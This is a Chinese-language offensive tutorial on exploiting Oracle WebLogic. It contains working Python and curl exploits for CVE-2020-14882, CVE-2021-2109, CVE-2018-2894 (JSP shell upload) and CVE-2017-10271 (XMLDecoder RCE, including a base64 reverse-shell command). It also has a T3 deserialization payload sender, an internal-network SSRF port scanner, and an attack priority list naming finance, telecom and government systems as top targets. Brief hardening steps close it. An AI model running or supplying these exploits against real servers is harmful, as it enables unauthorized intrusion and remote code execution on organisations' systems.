一、WebLogic 是什么

WebLogic 是 Oracle(原 BEA)的企业级 Java EE 应用服务器,广泛用于金融、电信、政府等行业的后端系统。它的漏洞高危点在于:

  1. Java 反序列化(JRMP、XMLDecoder、IIOP 等协议都有历史洞)
  2. 控制台 Console 未授权访问(内部 IP 没防护)
  3. T3 协议反序列化(最频繁的打洞点)

WebLogic 典型端口:

端口 服务 用途
7001 HTTP Console 控制台 + Web 应用
7002 HTTPS Console SSL
7003 T3 WebLogic 专有协议(反序列化核心)
7004 T3S T3 over SSL
7005 IIOP CORBA

二、快速指纹识别

2.1 探测脚本

# weblogic_detector.py
import requests, socket

def detect_weblogic(ip, port):
    # 1. HTTP 探测
    try:
        url = f"http://{ip}:{port}/"
        r = requests.get(url, timeout=5, allow_redirects=False)
        if 'WebLogic' in r.headers.get('Server', '') or 'BEA' in r.text[:200]:
            print(f"[+] {ip}:{port} → WebLogic")
    except:
        pass

    # 2. T3 握手探测(关键!)
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(3)
        sock.connect((ip, port))
        sock.send(b"t3 1.0\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n")
        resp = sock.recv(1024)
        if b"HELO" in resp or b"LOADED" in resp:
            print(f"[+] T3 探测: {ip}:{port} → WebLogic Server (resp={resp[:50]})")
        sock.close()
    except:
        pass
``

## 三、WebLogic Console 未授权访问

### 3.1 CVE-2020-14882 / CVE-2021-2109

``bash
# CVE-2020-14882 - URL 绕过权限检查
curl "http://target:7001/console/css/%252e%252e%252fconsole.portal"

# CVE-2021-2109
curl "http://target:7001/console/console.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.http.DefaultHttpHandler"
``

## 四、CVE-2018-2894:任意文件上传

### 4.1 原理

WebLogic 10.3.6-12.2.1 未授权接口 `/ws_utc/resources/setting/options` 存在**任意文件上传**。

### 4.2 完整 Python 利用

```python
# cve_2018_2894.py
import requests, random, string

def gen_random(length=8):
    return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))

def exploit(url):
    base = url.rstrip('/')
    name = gen_random()

    # Step 1: 修改 WorkSpacePath
    xml1 = f'''<?xml version="1.0" encoding="UTF-8"?>
<map><entry><key>WorkSpacePath</key><value>/{name}</value></entry></map>'''
    r = requests.post(f"{base}/ws_utc/resources/setting/options/general.thrift",
                      data=xml1, headers={'Content-Type': 'text/plain'}, timeout=10)
    print(f"[*] Step1: {r.status_code}")

    # Step 2: 上传 shell
    filename = f"shell_{gen_random()}.jsp"
    xml2 = f'''<?xml version="1.0" encoding="UTF-8"?>
<methodCall><methodName>com.bea.wls.workspace.DataUpload</methodName>
<params><param><value><![CDATA[<% out.print("PWNED"); %>]]></value></param></params></methodCall>'''
    r = requests.post(f"{base}/ws_utc/resources/file/transfer/{filename}.thrift",
                      data=xml2, headers={'Content-Type': 'text/plain'}, timeout=10)
    print(f"[*] Step2: {r.status_code}")

    # Step 3: 触发上传路径转换
    path = f"bea_wls_internal/workspace/{name}/{filename}"
    r = requests.get(f"{base}/{path}", timeout=10)
    print(f"[*] Trigger: {r.status_code}")

    # Step 4: 检查 shell
    for check in [f"{base}/{path}", f"{base}/ws_utc/{path}"]:
        r = requests.get(check, timeout=5)
        if 'PWNED' in r.text:
            print(f"[+] Shell 可用: {check}")
            return True
    return False

exploit("http://192.168.1.100:7001")
``

## 五、CVE-2017-10271:XMLDecoder 反序列化

### 5.1 原理

WebLogic 的 `wls-wsat.war` 组件中,`/wls-wsat/CoordinatorPortType` 接口接收**XMLDecoder** 格式的请求,直接反序列化执行。

### 5.2 PoC

``xml
<!-- rce.xml -->
<java version="1.8.0" class="java.beans.XMLDecoder">
  <object class="java.lang.Runtime" method="getRuntime">
    <void method="exec">
      <string>id</string>
    </void>
  </object>
</java>
``

### 5.3 Python 利用脚本

```python
# cve_2017_10271.py
import requests

def exploit_wls_xml_decoder(base_url, cmd="id"):
    xml = f'''<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0" class="java.beans.XMLDecoder">
  <object class="java.lang.Runtime" method="getRuntime">
    <void method="exec"><string>{cmd}</string></void>
  </object>
</java>'''

    paths = [
        "/wls-wsat/CoordinatorPortType",
        "/wls-wsat/CoordinatorPortType11",
        "/wls-wsat/CoordinatorPortType12",
        "/wls-wsat/CoordinatorPortType13",
        "/wls-wsat/CoordinatorPortType14",
    ]
    headers = {
        'Content-Type': 'text/xml;charset=UTF-8',
        'SOAPAction': '""',
    }
    for path in paths:
        url = base_url.rstrip('/') + path
        try:
            r = requests.post(url, data=xml, headers=headers, timeout=10)
            if r.status_code in [202, 500]:
                print(f"[*] {url} -> {r.status_code}")
                return True
        except:
            pass
    return False

# 反弹 shell 版本
reverse_cmd = "bash -c {echo,BASE64_PAYLOAD}|{base64,-d}|bash"
exploit_wls_xml_decoder("http://192.168.1.100:7001", reverse_cmd)
``

### 5.4 修复

``bash
# 删除 wls-wsat.war
find $WLS_HOME -name "wls-wsat.war" -exec rm -f {} \;

# 升级 Oracle CPU 补丁
# JVM 加固:
JAVA_OPTIONS="$JAVA_OPTIONS -Dcom.sun.jndi.rmi.object.trustURLCodebase=false"
JAVA_OPTIONS="$JAVA_OPTIONS -Dcom.sun.jndi.ldap.object.trustURLCodebase=false"
``

## 六、T3 协议反序列化

### 6.1 T3 协议是什么

T3 是 WebLogic 自己设计的**远程对象调用协议**。它基于 TCP,直接传输序列化的 Java 对象。

### 6.2 T3 攻击思路

``
[1] 握手:发送 T3 协议头
[2] 发送序列化对象(构造恶意 JNDI 查找)
[3] 目标 WebLogic 反序列化 → 触发代码执行

# 现代绕过
- 用 IIOP 协议(不走 T3 黑名单)
- 用 ysoserial 魔改版 + CVE-2020-14645 绕过 JNDI 黑名单
- URLDNS 先探测 JNDI 可用性
``

### 6.3 T3 发送脚本

``python
# t3_send.py
import socket, struct, sys

def send_t3(host, port, payload_bytes):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(10)
    sock.connect((host, port))

    # T3 握手
    sock.send(b"t3 1.0\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n")
    resp = sock.recv(4096)
    print(f"[*] T3 握手: {resp[:50]}")
    if b"HELO" not in resp and b"LOADED" not in resp:
        print("[-] 不是 WebLogic")
        return

    # T3 消息头
    msg_length = len(payload_bytes) + 12
    t3_header = struct.pack('>III', 0xFFFF6561, msg_length, 0)
    sock.send(t3_header + payload_bytes)
    resp = sock.recv(4096)
    print(f"[*] 响应长度: {len(resp)}")
    sock.close()

if __name__ == '__main__':
    payload = open(sys.argv[3], 'rb').read()
    send_t3(sys.argv[1], int(sys.argv[2]), payload)
``

## 七、WebLogic SSRF + 未授权组合

### 7.1 UDDI SSRF

```python
# wls_ssrf.py
import requests

def wls_ssrf(target_ip, target_port):
    url = (f"http://target:7001/uddiexplorer/SearchPublicRegistries.jsp"
           f"?operator=http://{target_ip}:{target_port}&maxRecords=1&startRecord=1")
    try:
        r = requests.get(url, timeout=5, allow_redirects=False)
        if 'could not' in r.text.lower():
            print(f"  [-] {target_ip}:{target_port} closed")
        elif len(r.text) > 20:
            print(f"  [+] {target_ip}:{target_port} OPEN")
    except:
        pass

for ip in ['10.0.0.1', '10.0.0.5']:
    for port in [6379, 3306, 5601]:
        wls_ssrf(ip, port)
``

## 八、WebLogic 打洞优先级

``
[1] HTTP 未授权(CVE-2020-14882 / CVE-2021-2109)
    → 直接进 Console → 部署 war 包 RCE

[2] XMLDecoder 反序列化(CVE-2017-10271)
    → /wls-wsat/* → 直接 RCE

[3] 任意文件上传(CVE-2018-2894)
    → /ws_utc/* → 上传 jsp shell

[4] T3/IIOP 反序列化 → ysoserial → CommonsCollections

[5] JNDI + 绕过 → LDAP 远程加载 class

[6] SSRF 组合 → 先扫内网再横向打
``

## 九、修复清单

``bash
# 1. 删除高危组件
rm -f $WLS_HOME/**/wls-wsat.war
rm -rf $WLS_HOME/**/uddiexplorer*

# 2. 防火墙拦截高危端口(7003/T3 不能公网暴露)
iptables -A INPUT -p tcp --dport 7003 -s ! 10.0.0.0/8 -j DROP

# 3. JVM 参数加固(setDomainEnv.sh)
JAVA_OPTIONS="$JAVA_OPTIONS -Dcom.sun.jndi.rmi.object.trustURLCodebase=false"
JAVA_OPTIONS="$JAVA_OPTIONS -Dcom.sun.jndi.ldap.object.trustURLCodebase=false"
JAVA_OPTIONS="$JAVA_OPTIONS -Djdk.management.jmxremote.authenticate=true"

# 4. 打 Oracle CPU 补丁
# https://www.oracle.com/security-alerts/
``

WebLogic 反序列化高危面远大于 Tomcat/Jetty,因为它自己实现了一套复杂的远程调用协议栈。在金融/电信/政府场景,WebLogic 是最优先打洞的目标之一。